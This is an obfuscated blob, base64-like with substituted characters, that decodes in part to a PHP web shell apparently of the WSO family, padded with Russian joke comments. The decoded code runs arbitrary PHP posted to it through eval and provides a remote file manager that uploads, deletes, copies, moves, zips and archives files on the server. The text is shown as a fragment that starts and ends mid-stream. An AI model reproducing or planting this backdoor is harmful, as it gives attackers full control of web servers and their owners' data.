QsIHRoIHsoLiopfS~tc2lVJywgJyE8*W1nW14+XSs+IW1_*VUnLCksIG~ycm~5KCcnLCAnLmUsIC52LCAu*CwgLmgg@GggeyQ$fScsICcnKSwgJHRtcCk7CiAgICAgICAgZWNobyAvKiA8UGV0ZXI+OiDQr@C5LCDQvtC9INC60YPQv9C40Lsg0YHQstC40YLQt@GALCDQsCDQvtC9INC40YHRh9C10LcsINGN0YLQviDRgtGLINC10LPQviDRg@GC0YvRgNC40Ls/INCf0YDQuNGC0YvRgNC40Lsg0YHQt@C$0LUg0YHQstC40YLQt@GALCDQtNCwINGN0YLQviDQstC+0YDQvtCy0YHRgtCy0L4hINCe0YLQtNCw0Lkg0LXQs9C+ING%0LLQuNGC0LXRgCwg0YHQstC+0LvQvtGH0YwhICovCiAgICAgICAgICAgIHN0cl9yZX%sYWNlKCc8*DEnLCAnPGgyJywgJHRtcCkgLiAnPC9k*XY+PGJyPic7CiAgIC%9CiAgIC%lY2hvIC8qID$%@m9uPjog0K8g0L/QvtGC0YDQsNGC0LjQuyA0OCDQtNC+0LvQu9Cw0YDQvtCyLCDRgtGLLCDRgtGD0L/QvtC5INC4INGD0LHQvtC_0LjQuSDRhNC+0LrRg9G%0L^QuNC6ISDQk9C00LUg0L7QvT8gKi8KICAgICAgICAnPGg$PkV4ZWN1@Glvbi%QS~AtY29kZTwv*DE+PGRp@i%jbG~_c_1jb250ZW50Pj$mb^JtIG5hbWU9cGYgbWV0*G9kPX%vc^Qgb25_@WJt*XQ9ImlmKHRo*XMuYWpheC5j*GVj*2VkKXthK~wnUGhwXCcsbnVsbC$0*Gl_LmNvZGUu@m~s@WUpO^1lbHNle2coXC@Q*H%cJy$u@W$sLHRo*XMuY29kZS52YW$1ZS$cJ1wnKTt9cmV0@XJuIGZhbHNlOyI+PHRleHRhcmVhIG5hbWU9Y29kZS%jbG~_c_1i*W@hcmVhIGlkPV%ocENvZGU+JyAuICghZW1w@HkoJ~9QT1NUWy@wMS@@KSA/IGh0bW$_cGVj*W~sY2hhcnMoJ~9QT1NUWy@wMS@@KSA6ICcnKSAuICc8L^RleHRhcmVhPj$pbn%1@C%0eX%lPXN1Ym1p@C%2YW$1ZT1~@m~sIHN0eW$lPSJtYXJn*W4t@G9wOjVweCI+J_sKICAgIGVj*G8gLyogP~%l@GVyPjog0J/QuNGC0LXRgCwg0LPQu9GP0L^RjCDRh9C+INC90LAg0YLQt@C$0LUhICovCiAgICAgICAgJyA8*W5w@XQg@HlwZT1j*GVj*2JveC%uYW1lPW~qYXgg@m~s@WU9MSAnIC4gKCRfQ09PS0l~W21kNSgkX1N~UlZ~UlsnS~RUU~9IT1NUJ10pIC4gJ2~qYXgnXSA/IC@j*GVj*2VkJyA6ICcnKSAuICc+IHNlbmQg@XNpbmcgQUp%WDwvZm9ybT48cHJlIGlkPV%ocE91@H%1@C%_@HlsZT0iJyAuIChlbX%0eSgkX1%PU1RbJ^A$J10pID8gJ2Rpc^%sYXk6bm9uZTsnIDogJycpIC4gJ21hcm@pbi10b^A6NX%4OyIgY2$hc^M9bWw$Pic7CiAgIC%pZiAoIWVtcHR5KCRfUE9TV~sncDEnXSkpIHsKICAgICAgIC%vYl9_@G~y@CgpOwogICAgICAgIGV2YWwoJ~9QT1NUWy@wMS@@KTsKICAgICAgIC%lY2hvIC8qID$%@m9uPjog0KfRgtC+INC^0LAg0YXQt@GA0L^Rj_8/PyDQmtCw0Lo/ICovCiAgICAgICAg*HRtbHNwZWNpYW$j*G~ycyhvYl9nZXRfY2$lYW4oKSk7CiAgIC%9CiAgIC%lY2hvIC8qID$QZXRlcj46INCSINCg0J7QoiDQnNC@0JUg0J^QntCT0JghISEgKi8KICAgICc8L^%yZT48L2Rp@j4nOwogICAg@^NvRm9v@GVyKCk7Cn0KCmZ1bmN0*W9uIC8qID$%@m9uPjog0K8g0LTQt@GA0LbQsNC7INCyINGA0YPQutCw0YUg0LLQt@GJ0LghICovCm~j@GlvbkZpbGV_TW~uKCkKewogICAg*WYgKC~lbX%0eSgkX0NPT0tJRVsnZi@@KSkgJ~9DT09LSUVbJ2YnXSA9IE%1bnNlcmlhbGl6ZSgkX0NPT0tJRVsnZi@@KTsKICAgIGlmICghZW1w@HkoJ~9QT1NUWy@wMS@@KSkgewogICAgICAgIHN^*XRj*CAoJ~9QT1NUWy@wMS@@KS%7CiAgICAgICAgICAgIGNhc2UgLyogP~%l@GVyPjog0JIg0YDQvtGCINC80L^QtSDQv@C+0LPQuCEgKi8KICAgICAgICAgICAgJ^VwbG9hZEZpbGUnOgogICAgICAgICAgICAgICAg*WYgKC~AbW92ZV91cG$vYWRlZ~9m*W$lKCRfRklMRVNbJ2YnXVsn@G1wX25hbWUnXSwgJ~9GSU$~U1snZi@@Wy@uYW1lJ10pKS%lY2hvIC8qID$%@m9uPjog0JAsINC+0L0g0YPQttC1INGA0LDRg@GC0Y/Qv@GD0YLRi9C5LCDRg@C/0LDRg@C40LHQviDRgtC10LHQtSEgKi8KICAgICAgICAgICAgICAgICJDYW4n@C%1cG$vYWQgZmlsZSEiOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgLyogP~%l@GVyPjog0KHQu9GD0YjQsNC5LCDQvtG%0YLQsNC90L7QstC40YHRjCwg0LA/ICovCiAgICAgICAgICAgIC@t*2Rpcic6CiAgICAgICAgICAgICAgIC%pZiAoIU%t*2RpcigkX1%PU1RbJ^AyJ10pKS%lY2hvIC8qID$%@m9uPjog0KDQsNG%0YLRj9C90YPQuyDRg@Cy0LjRgtC10YAsINGPINC10LPQviDQtNCw0LbQtSDQv@C1INC/0L7Qv@C+0YHQuNC7INC10YnRkSEgKi8KICAgICAgICAgICAgICAgICJDYW4n@C%jcmVh@GUgbmV^IGRpciI7CiAgICAgICAgICAgICAgIC%icmVh*_sKICAgICAgICAgICAgY2~_ZSAvKiA8RG~2*WQgQm$h*W5lPjog0K^QuS4g0K^QuSwg0YfRkSDRgtGLINC/0Y_Rk@GI0Yw/ICovCiAgICAgICAgICAgIC@kZW$l@GUnOgogICAgICAgICAgICAgICAgZnVuY^Rpb24gLyogP~%l@GVyPjog0J7RgNCw0L^QtiDRg@C+0LTRgyDRjyDQv9GM0Y4hINCn0YLQviwg0LIg0L_Qt@C00LLQt@C00Y8g0L/RgNC10LLRgNCw0YLQuNGI0Yw/INCvING%0YLQsNC60LDQvS^RgtC+INC00LXRgNC20YMhICovCiAgICAgICAgICAgICAgIC%kZW$l@GVE*XIoJH%h@GgpCiAgICAgICAgICAgICAgIC%7CiAgICAgICAgICAgICAgICAgICAgJH%h@GggPSAoc^Vic^RyKCRwYXRoLCAtcm91bmQoMCArIDEpKSA9PSAnLycpID8gJH%h@GggOiAkcG~0*CAuICcvJ_sKICAgICAgICAgICAgICAgICAgICAkZGggPS%vcGVuZGlyKCRwYXRoKTsKICAgICAgICAgICAgICAgICAgIC%^*GlsZSAoKCRp@GVtID0gcmVhZGRpcigkZGgpKSAhPT0gLyogPERh@mlkIEJsYWluZT46INCe0YDQsNC90LYg0YHQvtC00YM/INCc0L7QttC10YIg0YfRkS^Qv@C40YLRjCDQtNGA0YPQs9C+0LUg0L7RgNCw0L^QttC10LLQvtC1PyAqLwogICAgICAgICAgICAgICAgICAgICAgIC%mYW$_ZSkgewogICAgICAgICAgICAgICAgICAgICAgICAk*XRlbSA9ICRwYXRoIC4gJGl0ZW07CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgoYm~_ZW5hbWUoJGl0ZW0pID09IC8qID$QZXRlcj46INCn0L4g0LXRi@GRINC+0YDQsNC90LbQt@Cy0L7QtT8g0J^RgyDRj@GC0L4sINC/0LXRh9C10L^RjNC60Lg/ICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIi4uIikgfHwgKGJhc2VuYW1lKCRp@GVtKSA9PSAvKiA8UGV0ZXI+OiDQn9CV0KfQl@C@0K_QmtCYISEhINCh0YLRgNC10LvRj9GC0Ywt0LrQvtC70L7RgtC40YLRjCEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiLiIpCiAgICAgICAgICAgICAgICAgICAgICAgICkgY29u@Glu@WU7CiAgICAgICAgICAgICAgICAgICAgICAgICR0eX%lID0gZmlsZXR5cGUoJGl0ZW0pOwogICAgICAgICAgICAgICAgICAgICAgIC%pZiAoJHR5cGUgLyogP~%l@GVyPjog0J/Ql@Cn0JXQn@Cs0JrQmCEhISDQn9C10YfQt@C90Y_QutC4ISDQn9C10YfQt@C90Y_QutC4ISDQn9C10YfQt@C90Y_QutC4ISAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgPT0gLyogP~%l@GVyPjog0JPQtNC1INC+0YDQsNC90LYg0YHQvtC00LA/INCi0Ysg0YfQviDQtNC10LvQsNC10YjRjCDQstC+0L7Qs@GJ0LUsINGC0Ysg0YfQviDQtNC10LvQsNC10YjRjD8gKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICJk*XIiCiAgICAgICAgICAgICAgICAgICAgICAgICkgZGVsZXRlRGlyKCRp@GVtKTsgZW$_ZU%1bm$pbmsoJGl0ZW0pOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgIC%jbG9_ZWRpcigkZGgpOwogICAgICAgICAgICAgICAgICAgIE%ybWRpcigkcG~0*Ck7CiAgICAgICAgICAgICAgIC%9CgogICAgICAgICAgICAgICAg*WYgKGl_X2~ycm~5KEAkX1%PU1RbJ2YnXSkpIGZvcmVhY2ggKCRfUE9TV~snZi@@IG~_IC8qID$%@m9uPjog0KMg0L_Qt@C90Y8g0LLQviDRgNGC0YMg0L7RgNCw0L^QtiDRg@C+0LTQsCEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZikgewogICAgICAgICAgICAgICAgICAgIGlmICgkZiAvKiA8UGV0ZXI+OiDQryDQv@CwINC40LfQvNC10L^QtSwg0Y8g0L^QsCDQuNC^0L_Qt@C90LUhICovCiAgICAgICAgICAgICAgICAgICAgICAgID09IC8qID$%@m9uPjog0JrQsNC60LDRjyDRh@C10YDQv@GPLCDRgtGLINC/0L7Qu9C+0LbQuNC7INC10ZEg0L_Qv@C1INCyINGA0L7RgiEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgJy4uJwogICAgICAgICAgICAgICAgICAgICkgY29u@Glu@WU7CiAgICAgICAgICAgICAgICAgICAgJGYgPS%1cm$kZWNvZGUoJGYpOwogICAgICAgICAgICAgICAgICAgIGlmIChpc19k*XIoJGYpKS%kZW$l@GVE*XIoJGYpOy%lbHNlQHVubGlu*ygkZik7CiAgICAgICAgICAgICAgIC%9CiAgICAgICAgICAgICAgIC%icmVh*_sKICAgICAgICAgICAgY2~_ZSAvKiA8UGV0ZXI+OiDQkiDRgNC+0YIg0L_Qv@C1INC90L7Qs9C4LCDRgtGLINC/0YDQt@C60YDQsNGC0LjRiNGMINGN0YLQviDQuNC70Lgg0L^Qt@GCLCDQtNC10L_QvtC9LCDQvtG%0YLQsNC90L7QstC40YHRjCwg0LIg0YDQvtGCINC80L^QtSDQv@C+0LPQuCEgKi8KICAgICAgICAgICAgJ^%hc^RlJ_oKICAgICAgICAgICAgICAgIGlmICgkX0NPT0tJRVsnYWN0J10gPT0gLyogPERh@mlkIEJsYWluZT46INC@0YMg0LvQsNC00L^Qvi^Qu9Cw0LTQv@C+LCDRgNC10LHRj9GC0LAsINC^0L^QsNC10YLQtSwg0Y8g0YXQvtGH0YMg0L/QvtC60LDQt9Cw0YLRjCDQstCw0Lwg0LrQvtC1L@GH0YLQviDQtNC10LnRg@GC0LLQuNGC0LXQu9GM0L^QviDQutGA0YPRgtC+0LUuLi4gKi8KICAgICAgICAgICAgICAgICAgICAnY29weScKICAgICAgICAgICAgICAgICkgewogICAgICAgICAgICAgICAgICAgIGZ1bmN0*W9uIC8qID$QZXRlcj46INC@0JXQoiEgKi8KICAgICAgICAgICAgICAgICAgIC%jb^%5X^%hc^RlKCRjLCAkcywgJGQpCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgIC%pZiAo*XNfZGlyKCRjIC4gJHMpKS%7CiAgICAgICAgICAgICAgICAgICAgICAgICAgIC%t*2RpcigkZCAuICR_KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoID0gQG9wZW5k*XIoJGMgLiAkcyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgIC%^*GlsZSAoKCRmID0gQHJlYWRk*XIoJGgpKSAhPT0gLyogPE~2b24+OiDQn@C1LCDRh9GD0LLQsNC6LCDQu9GD0YfRiNC1ING%0LXQs@C1INC/0L7QutCw0LfRi9Cy0LDQuSEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC%mYW$_ZSkg*WYgKCgkZiAvKiA8RG~2*WQgQm$h*W5lPjog0KLQsNC6LCDQv9C+0LTQvtC20LTQuNGC0LUg0L7QtNC90YMg0L_QuNC90YPRgtC+0YfQutGDLCDRg@C10LrRg9C90LTRgyDQv9C+0LTQvtC20LTQuNGC0LUuLi4gKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIT0gLyogPE~2b24+OiDQntG%0YLQsNCy0Ywg0L^QsNG%INCyINC/0L7QutC+0LUhICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIuIilhbmQoJGYgLyogP~%l@GVyPjog0JDQsNCwLCDQstC40LTQt@C7INGPINGN0YLQvtGCINGE0L7QutGD0YEsINC90L7QttC60LDQvNC4INC/0LXRgNC10LHQuNGA0LDRgtGMINC$0YPQtNC10YjRjCwg0YLQuNC/0LAg0LLQt9C70LXRgtC10YLRjCDRh@C+0YfQt@GI0YwuICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICE9IC8qID$%@m9uPjog0J_QvtC5INC/0LvQt@C80Y/Qv@C90LjQuiDQvNC+0LbQt@GCINGC0LDQuiDRg@C00LXQu9Cw0YLRjCwg0YLQvtC20LUg0L_Qv@C1INGE0L7QutGD0YEhICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIuLiIpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICApIGNvcHlfcG~_@GUoJGMgLiAkcyAuICcvJywgJGYsICRkIC4gJHMgLiAnLycpOwogICAgICAgICAgICAgICAgICAgICAgIC%9IGVsc2VpZiAo*XNfZmlsZSgkYyAuICR_KSkgQGNvcHkoJGMgLiAkcywgJGQgLiAkcyk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgIC%mb^JlYWNoICgkX0NPT0tJRVsnZi@@IG~_IC8qID$EYXZpZC%CbG~pbmU+OiDQn9GA0L7Rg@GC0L4g0L/QvtC00L7QttC00LjRgtC1ING%0LXQutGD0L^QtNC+0YfQutGDLCDQsD8gKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZikgY29weV9wYXN0ZSgkX0NPT0tJRVsnYy@@LCAkZiwgJE@MT0J%T~NbJ2N^ZC@@KTsKICAgICAgICAgICAgICAgIH0gZW$_ZWlmICgkX0NPT0tJRVsnYWN0J10gPT0gLyogP~%l@GVyPjog0JrRgNC40YEg0K^Qu@C90LTQttC10Lsg0LTQt@C70LDQt@GCINGN0YLQviDQu9GD0YfRiNC1LCDRg@GD0LrQsCwg0L/QvtC90Y/Quywg0JrRgNC40YEg0K^Qu@C90LTQttC10Lsg0LTQt@C70LDQt@GCINGN0YLQviDQu9GD0YfRiNC1ISAqLwogICAgICAgICAgICAgICAgICAgIC@tb^ZlJwogICAgICAgICAgICAgICAgKS%7CiAgICAgICAgICAgICAgICAgICAgZnVuY^Rpb24gLyogPE~2b24+OiDQr@C50LLQuNC9ISDQryDQu9C10YfRgyEgKi8KICAgICAgICAgICAgICAgICAgIC%tb^ZlX^%hc^RlKCRjLCAkcywgJGQpCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgIC%pZiAo*XNfZGlyKCRjIC4gJHMpKS%7CiAgICAgICAgICAgICAgICAgICAgICAgICAgIC%t*2RpcigkZCAuICR_KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoID0gQG9wZW5k*XIoJGMgLiAkcyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgIC%^*GlsZSAoKCRmID0gQHJlYWRk*XIoJGgpKSAhPT0gLyogP~%l@GVyPjog0IHQvNCw0L^QsNGA0L7RgiEhICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm~sc2UpIGlmICgoJGYgLyogPE~2b24+OiDQryDRh9GD0LLRg@GC0LLRg9GOINGC0LXQv9C70L4g0Lgg0LvQt@GH0YMhICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICE9IC8qID$QZXRlcj46INC%0J_QkNC@0JDQoNCe0KIhISEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIi4iKW~uZCgkZiAvKiA8UGV0ZXI+OiDQntC/0YPRg@GC0Lgg0LXQs9C+LCDQv9C+0LbQsNC70YPQu@G%0YLQsCwg0LA/INC%0L_QsNC90LDRgNC+0YIsINC/0L7QtCDQv@C40Lwg0L^QuNGH0L4g0L^Qt@GC0YMsING%0L7QstG%0LXQvCDQv@C40YfQviDQv@C10YLRgyEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIT0gLyogPE~2b24+OiDQntC9INC^0LDQutC40L^Rg9C7INC80LXQv@GPINC90LAg0LrRgNGL0YjRgyEg0J7QvSDQv@CwINC60YDRi9GI0YMg0L_Qt@C90Y8g0LfQsNGH0LXQvC^RgtC+INC^0LDQutC40L^Rg9C7ISDQl9Cw0YfQt@C8INGC0Ysg0L_Qt@C90Y8g0YHRjtC00LAg0LfQsNC60LjQv@GD0Ls/INCU0Y^QstC40LQg0JHQu9C10LnQvSwg0LTQsNC5INC80L^QtSDRg@C70LXQt9GC0YwhINCU0Y^QstC40LQg0JHQu9C10LnQvSwg0YHQv9GD0YHRgtC4INC80LXQv@GPISAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiLi4iKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgKS%jb^%5X^%hc^RlKCRjIC4gJHMgLiAnLycsICRmLCAkZCAuICR_IC4gJy8nKTsKICAgICAgICAgICAgICAgICAgICAgICAgfS%lbHNl*WYgKE%pc19m*W$lKCRjIC4gJHMpKS%AY29weSgkYyAuICR_LCAkZCAuICR_KTsKICAgICAgICAgICAgICAgICAgIC%9CgogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfQ09PS0l~Wy@mJ10gYXMgLyogP~%l@GVyPjog0KXQstCw0YLQuNGCINC80L^QtSDQs9Cw0LfQuNGA0L7QstC60YMg0LIg0YDQvtGCINC/0LjRh@Cw0YLRjCEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZikgQHJlbm~tZSgkX0NPT0tJRVsnYy@@IC4gJGYsICRHTE9CQU$TWy@j@2QnXSAuICRmKTsKICAgICAgICAgICAgICAgIH0gZW$_ZWlmICgkX0NPT0tJRVsnYWN0J10gPT0gLyogPE~2b24+OiDQntC9INC00LDQttC1INC90LUg0L7RgtC70LXQstC40YLQuNGA0L7QstCw0Lsg0L_Qt@C90Y8g0L7Qs@GA0LDRgtC90L4hICovCiAgICAgICAgICAgICAgICAgICAgJ^ppcCcKICAgICAgICAgICAgICAgICkgewogICAgICAgICAgICAgICAgICAgIGlmIChjbG~_c19leGl_@HMoJ1ppcE~yY2hp@mUnKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkemlwID0gbmV^IC8qID$QZXRlcj46INCSINGA0L7RgiDQvNC90LUg0L^QvtC_0LgsINCy0LDQu9C40Lwg0L7RgtG%0Y7QtNCwINC$0YvRg@GC0YDQt@C5ISAqLwogICAgICAgICAgICAgICAgICAgICAgIC%**X%%cmNo*XZlKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkemlwLT5vcGVuKCRfUE9TV~sncDInXSwgcm91bmQoMCArIDAuM_M_M_M_M_M_M_M_M_MgKyAwLjM_M_M_M_M_M_M_M_M_ICsgMC4_M_M_M_M_M_M_M_M_MykpKS%7CiAgICAgICAgICAgICAgICAgICAgICAgICAgIC%j*GRpcigkX0NPT0tJRVsnYy@@KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfQ09PS0l~Wy@mJ10gYXMgLyogPERh@mlkIEJsYWluZT46INCt0LksINGN0LksINGA0LXQs@GP0YLQsCwg0LXRi@GRINC+0LTQuNC9INGC0YDRjtC6LCDQt@GJ0ZEg0L7QtNC40L0g0YTQvtC60YPRgS4uLiAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGYpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC%pZiAoJGYgLyogP~%l@GVyPjog0JjQtNC4INCyINC/0LXQv@GMLCDQsCDRgtC+INGJ0LDRgSDQvNC10L^RgtC+0LIg0L/QvtC^0L7QstGDISAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9PSAvKiA8RG~2*WQgQm$h*W5lPjog0K^QuSwg0L/QvtC00L7QttC00LjRgtC1LCDQv9Cw0YDQv@C4LCDQv9C+0YHQu9C10LTQv@C40LksINC+0LHQt@GJ0LDRji4g0K^QuSwg0YDQt@C$0Y/RgtCwISAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnLi4nCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKS%jb250*W51ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC%pZiAoQGl_X2ZpbGUoJ~9DT09LSUVbJ2MnXSAuICRmKSkgJHppcC0+YWRkRmlsZSgkX0NPT0tJRVsnYy@@IC4gJGYsICRmKTsgZW$_ZWlmIChA*XNfZGlyKCRfQ09PS0l~Wy@jJ10gLiAkZikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZXJh@G9yID0gbmV^IC8qID$EYXZpZC%CbG~pbmU+OiDQl@G%0LvQuCDQstGLINC00LDQtNC40YLQtSDQvNC90LUg0L/QvtC60LDQt9Cw0YLRjCDQt@GJ0ZEg0L7QtNC40L0g0YTQvtC60YPRgSwg0Y8g0LTQsNC8INCy0LDQvCDRg@GC0L4g0LTQvtC70LvQsNGA0L7Qsi4gKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmVj@XJ_*XZlSXRlcm~0b^JJ@GVyYXRvcihuZXcgLyogPERh@mlkIEJsYWluZT46INCf0L7Qt9Cy0L7Qu9GM0YLQtSDQv9C+0LrQsNC^0LDRgtGMINC80L^QtSDQstCw0Lwg0LXRi@GRINC+0LTQuNC9INGE0L7QutGD0YEsINC4INGPINC00LDQvCDQstCw0Lwg0YHRgtC+INC00L7Qu9C70LDRgNC+0LIuICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI~JlY^Vyc2l2ZURpcmVj@G9yeUl0ZXJh@G9yKCRmIC4gJy8nLC%G*W$lc^l_@GVtSXRlcm~0b^I6OlNLSV%fRE9UUykpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC%mb^JlYWNoICgk*XRlcm~0b^IgLyogP~%l@GVyPjog0JTQsNGI0Ywg0L_Qv@C1ING%0YLQviDQtNC+0LvQu9Cw0YDQvtCyPyAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC%hcyAvKiA8QXZvbj46INCi0Ysg0YHQvNC+0LbQt@GI0Ywg0LrRg9C/0LjRgtGMINGC0L7RgiDRiNCw0YDRhNC40LohICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRrZXkgPT4gJHZhbHVlKS%7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5hZGRG*W$lKHJlYW$wYXRoKCRrZXkpLCAk*2V5KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZGlyKCRHTE9CQU$TWy@j@2QnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5jbG9_ZSgpOwogICAgICAgICAgICAgICAgICAgICAgIC%9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfS%lbHNl*WYgKCRfQ09PS0l~Wy@hY^QnXSA9PSAvKiA8UGV0ZXI+OiDQotC+0YfQv@C+ISDQl9Cw0YjQuNC$0LjRg@GMLCDQs9C+0L^QuCDRg@GC0L4g0LHQsNC60YHQvtCyLiAqLwogICAgICAgICAgICAgICAgICAgIC@1bnppcCcKICAgICAgICAgICAgICAgICkgewogICAgICAgICAgICAgICAgICAgIGlmIChjbG~_c19leGl_@HMoJ1ppcE~yY2hp@mUnKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkemlwID0gbmV^IC8qID$EYXZpZC%CbG~pbmU+OiDQnNC+0LPRgyDRjyDQt9Cw0LnRgtC4PyAqLwogICAgICAgICAgICAgICAgICAgICAgIC%**X%%cmNo*XZlKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfQ09PS0l~Wy@mJ10gYXMgLyogP~%l@GVyPjog0J^RgyDQu9Cw0LTQv@C+LCDQv9C+0YjQu9C4Li4uICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmKS%7CiAgICAgICAgICAgICAgICAgICAgICAgICAgIC%pZiAoJHppcC0+b^%lbigkX0NPT0tJRVsnYy@@IC4gJGYpKS%7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+ZXh0cm~j@~RvKCRHTE9CQU$TWy@j@2QnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+Y2$vc2UoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gZW$_ZWlmICgkX0NPT0tJRVsnYWN0J10gPT0gLyogP~%l@GVyPjog0KLRiyDRgtC+0YfQv@C+INC00LXQv@GM0LPQuCDQtNCw0YjRjD8gKi8KICAgICAgICAgICAgICAgICAgICAn@G~yJwogICAgICAgICAgICAgICAgKS%7CiAgICAgICAgICAgICAgICAgICAgY2hk*XIoJ~9DT09LSUVbJ2MnXSk7CiAgICAgICAgICAgICAgICAgICAgJ~9DT09LSUVbJ2YnXSA9IG~ycm~5X21hcCgnZXNjYX%lc2hlbG$hcmcnLCAkX0NPT0tJRVsnZi@@KTsKICAgICAgICAgICAgICAgICAgIC%^c29~eCgn@G~yIGNmenYgJyAuIGV_Y2~wZXNoZW$sYXJnKCRfUE9TV~sncDInXSkgLiAnICcgLi%pbX%sb2RlKCcgJywgJ~9DT09LSUVbJ2YnXSkpOwogICAgICAgICAgICAgICAgICAgIGNoZGlyKCRHTE9CQU$TWy@j@2QnXSk7CiAgICAgICAgICAgICAgIC%9CiAgICAgICAgICAgICAgIC%1bnNl@CgkX0NPT0tJRVsnZi@@KTsKICAgICAgICAgICAgICAgIHNl@GNvb2tpZSgnZicsICcnLC%0*W1lKCkgLS%yb^VuZCgwICsgMTgwMCArIDE4MDApKTsKICAgICAgICAgICAgICAgIGJyZW~rOwogICAgICAgICAgIC%kZWZh@W$0OgogICAgICAgICAgICAgICAg*WYgKC~lbX%0eSgkX1%PU1RbJ^A$J10pKS%7CiAgICAgICAgICAgICAgICAgICAgX19XU09fX^Nl@GNvb2tpZSgnYWN0JywgJ~9QT1NUWy@wMS@@KTsKICAgICAgICAgICAgICAgICAgIC%fX1@TT19fc2V0Y29v*2llKC@mJywgc2Vy*W~s*XplKEAkX1%PU1RbJ2YnXSkpOwogICAgICAgICAgICAgICAgICAgI~9fV1NPX19_ZXRjb29r*WUoJ2MnLC%AJ~9QT1NUWy@jJ10pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgfQogICAg@^NvSGVhZGVyKCk7CiAgIC%lY2hvIC8qID$%@m9uPjog0JTQvtC$0YDQviDQv9C+0LbQsNC70L7QstCw0YLRjCDQsiDQtNC+0LwuICovCiAgICAnPGg$PkZpbGUgbW~uYW@lcjwv*DE+PGRp@i%jbG~_c_1jb250ZW50Pj$_Y^JpcHQ+cD~fPXAyX_1wM189IiI7PC9_Y^JpcHQ+J_sKICAgICRk*XJDb250ZW50ID0g@^NvU2NhbmRpcihpc^Nl@CgkX1%PU1RbJ2MnXSkgPyAkX1%PU1RbJ2MnXSA6ICRHTE9CQU$TWy@j@2QnXSk7CiAgIC%pZiAoJGRpckNvbnRlbnQgLyogP~%l@GVyPjog0Jgg0LLQvtGCINC80Ysg0LIg0L_QvtC10Lkg0LrQstCw0YDRgtC40YDQtSwg0Lgg0YfQvj8gKi8KICAgICAgICA9PT0gLyogPERh@mlkIEJsYWluZT46INCS0L7RgiDRj@GC0L4g0YfRgtC+INGC0LDQutC+0LU/ICovCiAgICAgICAgZm~sc2UKICAgICkgewogICAgICAgIGVj*G8gLyogP~%l@GVyPjog0J_QvtC5INCy0LjQtNCw0LouICovCiAgICAgICAgJ0Nhblwn@C%vcGVuIHRo*XMgZm9sZGVyISc7Ci